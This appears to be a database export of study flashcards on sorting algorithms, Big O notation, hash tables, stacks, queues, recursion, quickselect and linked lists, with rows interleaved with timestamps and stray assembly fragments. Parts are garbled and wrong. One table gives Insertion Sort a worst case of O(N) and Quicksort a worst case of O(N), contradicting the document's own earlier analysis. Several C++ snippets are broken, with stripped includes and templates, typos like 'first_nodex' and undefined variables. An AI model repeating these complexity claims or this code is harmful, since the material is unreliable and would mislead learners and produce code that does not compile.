*pseudocode in python*\ndef bubble_sort(list):\n unsorted_until_index = len(list) - 1\n sorted = False\n while not sorted:\n sorted = True\n for i in range(unsorted_until_index):\n if list[i] > list[i+1]:\n list[i], list[i+1] = list[i+1], list[i]\n sorted = False\n unsorted_until_index -= 1\n return list code txt 2024-07-28 09:55:55.030014 0 +51 14 bubble_sort([65, 55, 45, 35, 25, 15, 10])\n# 10, 15, 25, 35, 45, 55, 65 code txt 2024-07-28 09:55:55.05065 0 +52 14 *pseudocode in C++*\n#include \n#include \n#include text txt 2024-07-28 09:55:55.070684 0 +53 14 void bubble_sort(std::vector& container)\n{\n bool sorted{false}; text txt 2024-07-28 09:55:55.091332 0 +54 14 for (auto last_unsorted{container.end()}; !sorted && last_unsorted != container.begin(); --last_unsorted)\n {\n sorted = true;\n --last_unsorted; text txt 2024-07-28 09:55:55.111941 0 +55 14 for (auto iter = container.begin(); std::distance(iter, last_unsorted) > 0; ++iter)\n {\n if (*iter > *std::next(iter))\n {\n auto buffer = *iter;\n *iter = *std::next(iter);\n *std::next(iter) = buffer;\n sorted = false;\n }\n }\n }\n} code txt 2024-07-28 09:55:55.133229 0 +56 15 1. Step through array from left to right to determine which value has least order and keep track of the lowest value we've encountered so far.\n2. Once we've determined which index contains the lowest value, swap its value with the first value in pass-through.\n3. Repeat each pass-through from step 1 and 2 until a pass-through starting at the end of the array is reached. text txt 2024-07-28 09:55:56.531154 0 +57 15 Initial array: text txt 2024-07-28 09:55:56.550399 0 +58 15 ```\n 4 2 7 1 3\n`````` text txt 2024-07-28 09:55:56.571622 0 +59 15 First pass-through: starting at index 0 text txt 2024-07-28 09:55:56.591762 0 +60 15 ```\n(4) 2 7 1 3 lowest value: 4\n 4 (2) 7 1 3 lowest value: 2\n 4 2 (7) 1 3 lowest value: 2\n 4 2 7 (1) 3 lowest value: 1\n 4 2 7 1 (3) lowest value: 1\n|1| 2 7 4 3 swap lowest value with the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.612531 0 +61 15 Second pass-through: starting at index 1 text txt 2024-07-28 09:55:56.635546 0 +62 15 ```\n|1|(2) 7 4 3 lowest value: 2\n|1| 2 (7) 4 3 lowest value: 2\n|1| 2 7 (4) 3 lowest value: 2\n|1| 2 7 4 (3) lowest value: 2\n|1 2| 7 4 3 no swap needed as lowest value is already the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.656473 0 +63 15 Third pass-through: starting at index 2 text txt 2024-07-28 09:55:56.675912 0 +64 15 ```\n|1 2|(7) 4 3 lowest value: 7\n|1 2| 7 (4) 3 lowest value: 4\n|1 2| 7 4 (3) lowest value: 3\n|1 2 3| 4 7 swap lowest value with the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.696765 0 +65 15 Fourth pass-through: starting at index 3 text txt 2024-07-28 09:55:56.718033 0 +66 15 ```\n|1 2 3|(4) 7 lowest value: 4\n|1 2 3| 4 (7) lowest value: 4\n|1 2 3 4| 7 no swap needed as lowest value is already the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.73926 0 +67 15 Fifth pass-through: starting at index 4 text txt 2024-07-28 09:55:56.760819 0 +68 15 ```\n|1 2 3 4|(7) pass-through starts at the end of the array\n`````` text txt 2024-07-28 09:55:56.782632 0 +69 15 Sorted array: text txt 2024-07-28 09:55:56.802571 0 +70 15 ```\n 1 2 3 4 7\n`````` text txt 2024-07-28 09:55:56.823874 0 +71 16 * `O(1)`\n* `O(log N)`\n* `O(N)`\n* `O(N²)`\n* `O(N³)`\n* `O(2ⁿ)` text txt 2024-07-28 09:55:57.099122 0 +72 17 It's enough to identify them by their general category. text txt 2024-07-28 09:55:57.275161 0 +73 18 When two algorithms fall under the same classification of Big O, it doesn't necessarily mean that both algorithms have the same speed.\nFurther analysis is required to determine which algorithm is faster. text txt 2024-07-28 09:55:57.495168 0 +74 19 1. In the first pass-through, remove the value at index 1 and store it in a temporary variable. This will leave a gap at that index.\n2. Begin shifting by taking each value to the left of the gap and compare it to the value in the temporary variable. If the value to the left of the gap is greater from the temporary variable, we shift that value to the right. As soon as a value with lower order than the temporary value encountered in the array, shifting is over.\n3. Insert the temporarily removed value into the gap.\n4. Repeat all steps from 1 to 3 until the pass-through begins at the final index of the array. text txt 2024-07-28 09:55:59.987655 0 +75 19 Initial array: text txt 2024-07-28 09:56:00.008311 0 +76 19 ```\n 4 2 7 1 3\n`````` text txt 2024-07-28 09:56:00.028419 0 +77 19 First pass-through: temporarily remove the value at index 1. text txt 2024-07-28 09:56:00.050298 0 +81 19 As soon as we encounter a value that is lower than the temporarily removed value, or we reach the left end of the array, this shifting phase is over. text txt 2024-07-28 09:56:00.133798 0 +82 19 ```\n 2 4 7 1 3 push back temp value\n`````` text txt 2024-07-28 09:56:00.155257 0 +83 19 Second pass-through: gap index = 2 text txt 2024-07-28 09:56:00.175992 0 +84 19 ```\n 2 4 <7> 1 3 move index 2 to temporary variable\n 2 4 1 3 temporary variable = 7\n 2 (4) 1 3 reached value less than temp\n 2 4 7 1 3 push back temp value\n`````` text txt 2024-07-28 09:56:00.197283 0 +85 19 Third pass-through: gap index = 3 text txt 2024-07-28 09:56:00.217766 0 +86 19 ```\n 2 4 7 <1> 3 move index 3 to temporary variable\n 2 4 7 3 temporary variable = 1\n 2 4 (7) 3 value greater than temp\n 2 4 (7) 3 shift the value to right\n 2 (4) 7 3 value greater than temp\n 2 (4) 7 3 shift the value to right\n(2) 4 7 3 value greater than temp\n (2) 4 7 3 shift the value to right\n 2 4 7 3 reached the left end of array\n 1 2 4 7 3 push back temp value\n`````` text txt 2024-07-28 09:56:00.239704 0 +87 19 Fourth pass-through: gap index = 4 text txt 2024-07-28 09:56:00.26131 0 +88 19 ```\n 1 2 4 7 <3> move index 4 to temporary variable\n 1 2 4 7 temporary variable = 3\n 1 2 4 (7) value greather than temp\n 1 2 4 (7) shift the value to right\n 1 2 (4) 7 value greather than temp\n 1 2 (4) 7 shift the value to right\n 1 (2) 4 7 reached value less than temp\n 1 2 3 4 7 push back temp value\n`````` text txt 2024-07-28 09:56:00.282986 0 +89 19 Sorted array: text txt 2024-07-28 09:56:00.304551 0 +90 19 ```\n 1 2 3 4 7\n`````` text txt 2024-07-28 09:56:00.326309 0 +91 19 Insertion sort implementation: text txt 2024-07-28 09:56:00.346609 0 +92 19 def insertion_sort(array):\n for index in range(1, len(array)):\n temp_value = array[index]\n position = index - 1 text txt 2024-07-28 09:56:00.367002 0 +93 19 while position >= 0:\n if array[position] > temp_value:\n array[position + 1] = array[position]\n position = position - 1\n else:\n break text txt 2024-07-28 09:56:00.387163 0 +94 19 array[position + 1] = temp_value\n return array code txt 2024-07-28 09:56:00.406877 0 +95 19 We can formulate the total number of comparisons as `1 + 2 + 3 + … + (N - 1)` comparisons. text txt 2024-07-28 09:56:00.427992 0 +96 19 ```\nN² / 2 comparisons\n= N² / 2 steps\n`````` text txt 2024-07-28 09:56:00.448952 0 +97 19 Shifts occur each time we move a value one cell to the right.\nWhen an array is sorted in reverse order, there will be as many shifts as there are comparisons, since every comparison will force us to shift a value to the right. text txt 2024-07-28 09:56:00.471187 0 +98 19 ```\nN² / 2 comparisons\n+ N² / 2 shifts\n= N² steps\n`````` text txt 2024-07-28 09:56:00.491116 0 +99 19 Removing and inserting the temporary value from the array happens once per pass-through.\nSince there are always `N - 1` pass-throughs, we can conclude that there are `N - 1` removals and `N - 1` insertions. text txt 2024-07-28 09:56:00.512405 0 +100 19 ```\nN² / 2 comparisons\n+ N² / 2 shifts\n+ (N - 1) removals\n+ (N - 1) insertions\n= N² + 2N - 2 steps\n`````` text txt 2024-07-28 09:56:00.53391 0 +101 19 It emerges that in a worst-case scenario, **Insertion Sort** has the same time complexity as **Bubble Sort** and **Selection Sort**.\nThey’re all `O(N²)`. text txt 2024-07-28 09:56:00.556091 0 +102 20 Big O notation only takes into account the highest order of N when we have multiple orders added together.\n`N³ + 2N² + N + 5` is expressed as `O(N³)`. text txt 2024-07-28 09:56:00.763503 0 +103 21 * **Bubble Sort:** worst case `O(N²)`, average case `O(N²)`, best case `O(N²)`.\n* **Selection Sort:** worst case `O(N²/2)`, average case `O(N²/2)`, best case `O(N²/2)`.\n* **Insertion Sort:** worst case `O(N²)`, average case `O(N²/2)`, best case `O(N)`. text txt 2024-07-28 09:56:00.972049 0 +104 22 In an average case, when an array is randomly sorted, they perform similarly.\nIf an array can be assumed to be mostly sorted, then **Insertion Sort** will be a better choice.\nIf an array is known to be mostly sorted in reverse order, then **Selection Sort** will be faster. text txt 2024-07-28 09:56:01.1967 0 +105 23 A hash table is a list of paired values.\nThe first item in each pair is called the key, and the second item is called the value. text txt 2024-07-28 09:56:01.432633 0 +106 24 A hash function needs to meet only one criterion to be valid.\nIt must convert the same string to the same number every single time it's applied. text txt 2024-07-28 09:56:01.639966 0 +107 25 The ratio of data to cells ideally is 0.7 which means 7 elements per 10 cells. text txt 2024-07-28 09:56:01.812777 0 +108 26 By storing objects as keys and assign boolean true as the associated value for each object. text txt 2024-07-28 09:56:01.999902 0 +109 27 * Data can be inserted only at the end of a stack.\n* Data can be deleted only from the end of a stack.\n* Only the last element of a stack can be read. text txt 2024-07-28 09:56:02.270086 0 +110 28 * `push()`\n* `pop()`\n* `top()` text txt 2024-07-28 09:56:02.488954 0 +111 29 It's a kind of data structure that is a set of theoretical rules that revolve around some other basic data structures.\nThe set, stack, and queue are examples of abstract data types.\nSome implementations of sets use arrays under the hood while other implementations actually use hash tables.\nThe set itself, though, is simply a theoertical concept, it's a list of non-duplicated data elements. text txt 2024-07-28 09:56:02.714372 0 +112 30 * The first data added to a queue is the first item to be removed.\n* Data can be inserted only at the end of a queue, similar to stacks.\n* Data can be deleted only from the front of a queue, in opposite behavior of the stacks.\n* Only the element at the front of a queue can be read. text txt 2024-07-28 09:56:02.974833 0 +113 31 * `enqueue()`\n* `dequeue()`\n* `front()` text txt 2024-07-28 09:56:03.176209 0 +114 32 In recursion terminology, the case in which a function will not recurse is known as the base case.\nAll recursive functions should have at least one base case. They will keep recalling themselves infinitely otherwise. text txt 2024-07-28 09:56:03.427165 0 +115 33 1. Identify the base case.\n2. Walk through the function for the base case.\n3. Identify the next-to-last case.\n4. Walk through function for the next-to-last case.\n5. Repeat this process by identifying before the case you just analyzed, and walking through the function for that case. text txt 2024-07-28 09:56:04.252884 0 +116 33 def factorial(number)\n if number == 1\n return 1\n else\n return number * factorial(number-1)\n end\nend code txt 2024-07-28 09:56:04.274547 0 +117 33 Writing upwards from base case: text txt 2024-07-28 09:56:04.29526 0 +118 33 factorial(1) returns 1 text txt 2024-07-28 09:56:04.316266 0 +119 33 And the for the next-to-last case: text txt 2024-07-28 09:56:04.338223 0 +120 33 factorial(2) returns 2\nfactorial(1) returns 1 text txt 2024-07-28 09:56:04.360819 0 +121 33 And again a case before that: text txt 2024-07-28 09:56:04.382783 0 +122 33 factorial(3) returns 6\nfactorial(2) returns 2\nfactorial(1) returns 1 text txt 2024-07-28 09:56:04.404001 0 +184 46 Each node comes with memory address of its next node in the list. text txt 2024-07-28 09:56:14.144403 0 +123 34 In case of infinite recursion, the same function keeps being pushed onto the call stack.\nThe call stack will eventually be consumed until further calls will not be possible. text txt 2024-07-28 09:56:04.640674 0 +124 35 When a problem is solved by solving smaller version of the same problem, the smaller problem is called a *subproblem*.\nWhat makes these subproblem overlapping is the fact that each subproblem calls many of the same functions as each other. text txt 2024-07-28 09:56:04.883533 0 +125 36 **Dynamic Programming** is the process of optimizing recursive problems that have overlapping subproblems.\nOptimizing an algorithm with dynamic programming is typically accomplished with one of two techniques.\nThe first technique is something called memoization which reduces recursive calls by remembering previously computed functions.\nThe second technique, known as **going bottom-up** uses iteration instead of recursion to prevent duplicate calls. text txt 2024-07-28 09:56:05.180725 0 +126 37 With memoization, each time we make a new calculation, we store it in a hash table for future calls.\nThis way we only make a calculation if it hadn't ever been made before. text txt 2024-07-28 09:56:05.4078 0 +127 38 By using iteration instead of recursion to ensure that it doesn't make duplicate calls for overlapping subproblems. text txt 2024-07-28 09:56:05.600692 0 +128 39 To partition an array is to take a random value from the array, which is then called the pivot,\nand make sure that every number that is less than the pivot ends up to the left of the pivot,\nand that every number greater than the pivot ends up to the right of the pivot. text txt 2024-07-28 09:56:05.855888 0 +129 40 0. Set the rightmost index as pivot, leftmost index as the left index and rightmost index other that pivot as right index.\n1. The left pointer continuously moves one cell to the right until it reaches a value that is greater than or equal to the pivot, and then stops.\n2. The right pointer continuously moves one cell to the left until it reaches a value that is less than or equal to the pivot, or when it reaches the beginning of the array.\n3. Once the right pointer has stopped, if the left pointer has reached or gone beyond the right pointer, we move on to step 4. Otherwise, we swap the values that the two pointers are pointing to, and then go back to repeat steps 1, 2, and 3 again.\n4. Finally, swap the pivot with the value that the left pointer is currently pointing to. text txt 2024-07-28 09:56:09.295792 0 +130 40 When we are done with paritioning, we are now assured that all values to the left of the pivot are less than the pivot itself, and all values to the right of the pivot are greater than it.\nAnd that means the pivot itself is now in its correct place within the array, although the other values are not yet necessarily completely sorted. text txt 2024-07-28 09:56:09.316345 0 +131 40 ```\n 0 5 2 1 6 3 set the pivot, left and right pointers\n<0> 5 2 1 <6>(3) compare the left pointer to the pivot\n<0> 5 2 1 <6>(3) move left pointer since 0 is less than pivot 3\n 0 <5> 2 1 <6>(3) left pointer stops, move right pointer since 6 is greater than pivot 3\n 0 <5> 2 <1> 6 (3) both pointers stopped, swap the values of the two pointers\n 0 <1> 2 <5> 6 (3) left pointer moves further to the next step\n 0 1 <2><5> 6 (3) left pointer moves on since its value is less than the pivot\n 0 1 2 «5» 6 (3) both pointers point to the same value, we are done moving pointers\n 0 1 2 «3» 6 (5) swap the value that the left pointer is pointing to with the pivot\n 0 1 2 |3| 6 5 now 3 is in its correct location within the array\n`````` text txt 2024-07-28 09:56:09.339254 0 +132 40 *pseudocode in ruby*\nclass SortableArray\n attr_reader :array text txt 2024-07-28 09:56:09.360444 0 +133 40 def initialize(array)\n @array = array\n end text txt 2024-07-28 09:56:09.381693 0 +134 40 def partition!(left_pointer, right_pointer)\n pivot_index = right_pointer\n pivot = @array[pivot_index]\n right_pointer -= 1 text txt 2024-07-28 09:56:09.402757 0 +135 40 while true\n while @array[left_pointer] < pivot do\n left_pointer += 1\n end text txt 2024-07-28 09:56:09.422903 0 +136 40 while @array[right_pointer] > pivot do\n right_pointer -= 1\n end text txt 2024-07-28 09:56:09.444799 0 +137 40 if left_pointer >= right_pointer\n break text txt 2024-07-28 09:56:09.466192 0 +138 40 else\n @array[left_pointer], @array[right_pointer] = @array[right_pointer], @array[left_pointer]\n left_pointer += 1\n end\n end text txt 2024-07-28 09:56:09.48784 0 +139 40 @array[left_pointer], @array[pivot_index] = @array[pivot_index], @array[left_pointer] text txt 2024-07-28 09:56:09.508342 0 +140 40 return left_pointer\n end\nend code txt 2024-07-28 09:56:09.528622 0 +141 40 *pseudocode in C++*\n#include \n#include \n#include \n#include text txt 2024-07-28 09:56:09.549202 0 +142 40 class container\n{\npublic:\n\tusing iter_t = std::vector::iterator;\n using iter_const_t = std::vector::const_iterator; text txt 2024-07-28 09:56:09.570722 0 +143 40 container(std::vector const& init): buffer{std::move(init)} { } text txt 2024-07-28 09:56:09.590337 0 +144 40 void sort(iter_t left, iter_t right)\n {\n if (std::distance(right, left) >= 0)\n {\n iter_t pivot = partition(left, right);\n sort(left, pivot - 1);\n sort(pivot + 1, right);\n }\n } text txt 2024-07-28 09:56:09.610682 0 +145 40 void sort()\n {\n sort(buffer.begin(), buffer.end()-1);\n } text txt 2024-07-28 09:56:09.631978 0 +146 40 void print() const\n {\n std::copy(buffer.cbegin(), buffer.cend(), std::ostream_iterator(std::cout, " "));\n std::cout << "\\\\n";\n } text txt 2024-07-28 09:56:09.652454 0 +147 40 void print_detail(long left, long right, long pivot) const\n {\n for (auto e: buffer)\n {\n if (left == right == e)\n std::cout << "<" << e << ">";\n else if (e == left)\n std::cout << "<" << e << "<";\n else if (e == right)\n std::cout << ">" << e << ">";\n else if (e == pivot)\n std::cout << "(" << e << ")";\n else\n std::cout << " " << e << " ";\n }\n std::cout << "\\\\n";\n } text txt 2024-07-28 09:56:09.674104 0 +148 40 protected:\n iter_t partition(iter_t left, iter_t right)\n {\n iter_t pivot{right};\n right--; text txt 2024-07-28 09:56:09.695081 0 +149 40 while (true)\n {\n while (*left < *pivot && left != pivot)\n {\n left++;\n } text txt 2024-07-28 09:56:09.716148 0 +150 40 while (*right > *pivot && right != buffer.cbegin())\n {\n right--;\n } text txt 2024-07-28 09:56:09.736339 0 +151 40 if (std::distance(right, left) >= 0)\n {\n break;\n }\n else\n {\n long temp{*left};\n *left = *right;\n *right = temp;\n left++;\n }\n } text txt 2024-07-28 09:56:09.757251 0 +152 40 long temp{*left};\n *left = *pivot;\n *pivot = temp;\n return left;\n } text txt 2024-07-28 09:56:09.778294 0 +153 40 private:\n std::vector buffer;\n}; text txt 2024-07-28 09:56:09.799628 0 +467 108 mov rsp, rbp\n pop rbp\n ret text txt 2024-07-28 09:56:57.930503 0 +154 40 int main()\n{\n container container{{6,3,1,4,2,5}};\n container.print();\n container.sort();\n container.print();\n} code txt 2024-07-28 09:56:09.820051 0 +155 41 1. Partition the array. The pivot is not in its proper place.\n2. Treat the subarrays to the left and right of the pivot as their own arrays, and recursively repeat step 1 and 2.\n3. When we have a subarray that has zero or one elements, that is our base case and we do nothing. text txt 2024-07-28 09:56:10.291117 0 +156 41 void quicksort(int* left_index, int* right_index)\n{\n if (right_index - left_index > 0)\n {\n int* pivot_index = partition(left_index, right_index);\n quicksort(left_index, pivot_index - 1);\n quicksort(pivot_index + 1, right_index);\n }\n} code txt 2024-07-28 09:56:10.3112 0 +157 42 To figure out the efficiency of Quicksort, first determine the efficiency of a single partition. text txt 2024-07-28 09:56:11.201205 0 +158 42 A partition involves two primary types of steps: *comparison*, and *swaps*.\nEach partition has at least `N` comparisons, we compare each element of the array with the pivot.\nThe number of swaps, however, will depend upon how the data is sorted.\nA single partition can have, at most, `N / 2` swaps,\nBut, on average, we make about `N` comparisons and `N / 4` swaps.\nIn Big O Notation, we’d say that a partition runs in `O(N)` time. text txt 2024-07-28 09:56:11.223541 0 +159 42 Now, that’s the efficiency of a single partition, but **Quicksort** involves many partitions.\nSince **Quicksort** is essentially comprised of this series of partitions, and each partition takes about `N` steps for `N` elements of each subarray. text txt 2024-07-28 09:56:11.246012 0 +160 42 The number of Quicksort steps for `N` elements in the array is about `N` multiplied by `log N`.\nEach time we partition the array, we end up breaking it down into two subarrays.\nAssuming the *pivot* ends up somewhere in the middle of the array — which is what happens in the average case — these two subarrays are of roughly equal sizes.\nHow many times can we break an array into halves until we’ve broken it completely down to the point of where each subarray is of size `1`?\nFor an array of size `N`, this will take us `log N` times. text txt 2024-07-28 09:56:11.268172 0 +161 42 ```\n|¹ |² |³ |⁴ |⁵ |⁶ |⁷ |⁸ | 1st halving text txt 2024-07-28 09:56:11.28854 0 +162 42 |¹ |² |³ |⁴ | |⁵ |⁶ |⁷ |⁸ | 2nd halving text txt 2024-07-28 09:56:11.309291 0 +163 42 |¹ |² | |³ |⁴ | |⁵ |⁶ | |⁷ |⁸ | 3nd halving text txt 2024-07-28 09:56:11.328102 0 +164 42 |¹ | |² | |³ | |⁴ | |⁵ | |⁶ | |⁷ | |⁸ |\n``````\nAs you can see, for an array of size 8, it takes us three “halvings” until we’ve reduced the array into eight individual elements.\nThis is `log N`, and fits with our definition of `log N` as being the number of times it takes to halve something until we reach `1`. text txt 2024-07-28 09:56:11.349024 0 +165 42 For many other algorithms we’ve encountered, the best case was one where the array was already sorted.\nWhen it comes to **Quicksort**, however, the best-case scenario is one in which the pivot always ends up smack in the middle of the subarray after the partition.\nInterestingly, this generally occurs when the values in the array are mixed up pretty well. text txt 2024-07-28 09:56:11.370136 0 +166 42 The worst-case scenario for **Quicksort** is one in which the pivot always ends up on one side of the subarray instead of in the middle.\nThis can happen where the array is in perfect ascending or descending order.\nSo, in worst-case scenario, we’d say that for `N` elements, there are `N + (N - 1) + (N - 2) + (N - 3) … + 1` steps.\nSo, in a worst-case scenario, Quicksort has an efficiency of O(N2). text txt 2024-07-28 09:56:11.391697 0 +167 43 | Algorithm | Best Case | Average Case | Worst Case |\n|---|---|---|---|\n| Insertion Sort | `O(N)` | `O(N)` | `O(N)` |\n| Quick Sort | `O(N log N)` | `O(N log N)` | `O(N)` | text txt 2024-07-28 09:56:11.690093 0 +168 43 The reason **Quicksort** is superior to **Insertion Sort** is because of the average scenario which is what happens most of the time. text txt 2024-07-28 09:56:11.711417 0 +169 44 One of the beautiful things about **Quickselect** is that we can find the correct value without having to sort the entire array. text txt 2024-07-28 09:56:12.927154 0 +170 44 Let’s say you have an array in random order, and you do not need to sort it, but you do want to know the *tenth-lowest* value in the array, or the *fifth-highest*.\nThis can be useful if we had a lot of test grades and want to know what the *25th percentile* was, or if we want to find the *median grade*. text txt 2024-07-28 09:56:12.948289 0 +171 44 One way to solve this would be to sort the entire array and then jump to the appropriate index. text txt 2024-07-28 09:56:12.969468 0 +172 44 However, even were we to use a fast sorting algorithm like **Quicksort**, this algorithm would take at least `O(N log N)` for average cases.\nAnd while that isn’t bad, we can do even better with a brilliant little algorithm known as **Quickselect**. text txt 2024-07-28 09:56:12.990262 0 +173 44 Like **Quicksort**, **Quickselect** relies on partitioning, and can be thought of as a hybrid of **Quicksort** and binary search. text txt 2024-07-28 09:56:13.00999 0 +174 44 After a partition, the *pivot* value ends up in the appropriate spot in the array.\n**Quickselect** takes advantage of this in the following way: text txt 2024-07-28 09:56:13.030323 0 +175 44 Let’s say we have an array of eight values, and we want to find the second-to-lowest value within the array.\nFirst, we partition the entire array.\nAfter the partition, the *pivot* will hopefully end up somewhere toward the middle of the array.\nThis pivot is now in its correct spot.\nFor example, since it’s in the fifth cell, we now know which value is the *fifth-lowest* value within the array.\nWe know that the *second-lowest* value is somewhere to the left of the *pivot*.\nWe can now ignore everything to the right of the *pivot* and focus on the left subarray.\nIt is in this respect that **Quickselect** is similar to binary search. text txt 2024-07-28 09:56:13.053527 0 +176 44 With **Quicksort**, each time we halved the array, we needed to re-partition every single element again, giving us `O(N log N)`.\nWith **Quickselect**, on the other hand, each time we cut the array in half, we only had to partition the one half we cared about. text txt 2024-07-28 09:56:13.074072 0 +177 44 When analyzing the efficiency of **Quickselect**, we’ll see that it’s `O(N)` for average scenarios. text txt 2024-07-28 09:56:13.094181 0 +178 44 *pseudocode in ruby*\ndef quickselect!(kth_lowest_value, left_index, right_index) text txt 2024-07-28 09:56:13.114666 0 +179 44 # We reached the best-case, sub-array has one cell.\n if right_index - left_index <= 0\n return @array[left_index]\n end text txt 2024-07-28 09:56:13.13535 0 +180 44 pivot_index = partition!(left_index, right_index) text txt 2024-07-28 09:56:13.155642 0 +181 44 if kth_lowest_value < pivot_index\n quickselect!(kth_lowest_value, left_index, pivot_index - 1)\n elsif kth_lowest_value > pivot_index\n quickselect!(kth_lowest_value, pivot_index + 1, right_index)\n else\n return @array[pivot_index]\n end\nend code txt 2024-07-28 09:56:13.176308 0 +182 44 *pseudocode in C++* code txt 2024-07-28 09:56:13.196245 0 +183 45 A linked list is a data structure that represents a list of connected data dispersed throughout memory known as *nodes*. text txt 2024-07-28 09:56:13.382642 0 +185 46 #include text txt 2024-07-28 09:56:14.164203 0 +186 46 template\nstruct Node\n{\n T data;\n std::shared_ptr next; text txt 2024-07-28 09:56:14.184345 0 +187 46 explicit Node(T const& data): data{data}, next{} { }\n}; text txt 2024-07-28 09:56:14.205218 0 +188 46 int main()\n{\n auto node1 = std::make_shared{"once"};\n auto node2 = std::make_shared{"upon"};\n auto node3 = std::make_shared{"a"};\n auto node4 = std::make_shared{"time"}; text txt 2024-07-28 09:56:14.226033 0 +189 46 node1->next = node2;\n node2->next = node3;\n node3->next = node4;\n} code txt 2024-07-28 09:56:14.246864 0 +190 46 ```\n["once"|1001] -> ["upon"|1002] -> ["a"|1003] -> ["time"|1004]\n`````` text txt 2024-07-28 09:56:14.268614 0 +191 47 A linked list class keeps track of its first node of the list. text txt 2024-07-28 09:56:15.199293 0 +192 47 #include text txt 2024-07-28 09:56:15.218541 0 +193 47 template\nstruct Node\n{\n T data;\n std::shared_ptr next; text txt 2024-07-28 09:56:15.238773 0 +194 47 explicit Node(T const& data): data{data}, next{} { }\n}; text txt 2024-07-28 09:56:15.259786 0 +195 47 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:15.280828 0 +196 47 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root} { }\n}; text txt 2024-07-28 09:56:15.301659 0 +197 47 int main()\n{\n auto node1 = std::make_shared{"once"};\n auto node2 = std::make_shared{"upon"};\n auto node3 = std::make_shared{"a"};\n auto node4 = std::make_shared{"time"}; text txt 2024-07-28 09:56:15.322482 0 +198 47 node1->next = node2;\n node2->next = node3;\n node3->next = node4; text txt 2024-07-28 09:56:15.343411 0 +199 47 LinkedList sentence(node1);\n} code txt 2024-07-28 09:56:15.364538 0 +200 48 **Reading**\nLinked lists having a worst-case read of `O(N)` is a major disadvantage when compared with arrays that can read any element in just `O(1)`. text txt 2024-07-28 09:56:18.883306 0 +201 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:18.904098 0 +202 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root}; text txt 2024-07-28 09:56:18.925862 0 +203 48 T read(int index)\n {\n std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:18.946419 0 +204 48 while (current_index < index)\n {\n current_node.reset(current_node.next);\n current_index++; text txt 2024-07-28 09:56:18.967347 0 +205 48 if (current_node == nullptr)\n return nullptr;\n } text txt 2024-07-28 09:56:18.987744 0 +206 48 return current_node.data;\n }\n}; code txt 2024-07-28 09:56:19.009137 0 +207 48 **Searching**\nSearching means looking for a value within the list and returning its index.\nSearching an array has a speed of `O(N)`, since the computer needs to inspect each value one at a time.\nLinked lists also have a search speed of `O(N)` as we need to go through a similar process as we did with reading. text txt 2024-07-28 09:56:19.029045 0 +208 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:19.050173 0 +209 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root}; text txt 2024-07-28 09:56:19.072889 0 +210 48 T read(int index); text txt 2024-07-28 09:56:19.092564 0 +211 48 int index_of(int index)\n {\n std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:19.113563 0 +212 48 while (current_index < index)\n {\n if (current_node.data == value)\n return current_index; text txt 2024-07-28 09:56:19.134908 0 +213 48 current_node.reset(current_node.next);\n current_index++;\n } text txt 2024-07-28 09:56:19.156234 0 +214 48 return -1;\n }\n}; code txt 2024-07-28 09:56:19.177299 0 +215 48 **Insertion**\nWorst-case scenario for insertion into an array is `O(N)`.\nWith linked lists, however, insertion at the beginning of the list takes just one step, which is `O(1)`.\nPractically speaking inserting into a linked list is `O(N)`, as the worst-case scenario of inserting at the end of the list will take N+1 steps. text txt 2024-07-28 09:56:19.199242 0 +216 48 Analysis shows that the best- and worst-case scenarios for arrays and linked lists are the opposite of one another. text txt 2024-07-28 09:56:19.219838 0 +217 48 * Insert at beginning: array (worst case), linked list (best case)\n* Insert at middle: array (average case), linked list (average case)\n* Insert at end: array (best case), linked list (worst case) text txt 2024-07-28 09:56:19.240409 0 +218 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:19.260371 0 +219 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root} { } text txt 2024-07-28 09:56:19.281054 0 +220 48 T read(int index); text txt 2024-07-28 09:56:19.300276 0 +221 48 int index_of(int index); text txt 2024-07-28 09:56:19.320483 0 +222 48 void insert_at_index(int index, T value)\n {\n auto new_node{std::make_shared(value)}; text txt 2024-07-28 09:56:19.340636 0 +223 48 if (index == 0)\n {\n new_node.next = first_node;\n first_node = new_node;\n return;\n } text txt 2024-07-28 09:56:19.361821 0 +224 48 std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:19.382607 0 +225 48 while (current_index < (index-1))\n {\n current_node.reset(current_node.next);\n current_index++;\n } text txt 2024-07-28 09:56:19.402896 0 +226 48 new_node.next = current_node.next;\n current_node.next = new_node;\n }\n}; code txt 2024-07-28 09:56:19.424122 0 +227 48 **Deletion**\nTo delete a node from the beginning of a linked list, all we need to do is change the first node of the linked list to now point to the node after that.\nWhen it comes to deleeting the final node of a linked list, the actual deletion takes one step, however, it takes N steps to access the second-to-last node in first place. text txt 2024-07-28 09:56:19.445705 0 +228 48 * Delete at beginning: array (worst case), linked list (best case)\n* Delete at middle: array (average case), linked list (average case)\n* Delete at end: array (best case), linked list (worst case) text txt 2024-07-28 09:56:19.467806 0 +229 48 template\nclass LinkedList\n{\n std::shared_ptr> first_node; text txt 2024-07-28 09:56:19.488981 0 +230 48 public:\n explicit LinkedList(std::shared_ptr> root): first_node{root} { } text txt 2024-07-28 09:56:19.509856 0 +231 48 T read(int index); text txt 2024-07-28 09:56:19.529756 0 +232 48 int index_of(int index); text txt 2024-07-28 09:56:19.549715 0 +233 48 void insert_at_index(int index, T value); text txt 2024-07-28 09:56:19.569761 0 +234 48 void delete_at_index(int index)\n {\n if (index == 0)\n {\n first_node = first_nodex.next;\n return;\n } text txt 2024-07-28 09:56:19.590222 0 +235 48 std::shared_ptr current_node{first_node};\n int current_index{}; text txt 2024-07-28 09:56:19.610449 0 +468 108 difference:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:57.950592 0 +236 48 while (current_index < (index-1))\n {\n current_node.reset(current_node.next);\n current_index++;\n } text txt 2024-07-28 09:56:19.631063 0 +237 48 std::shared_ptr 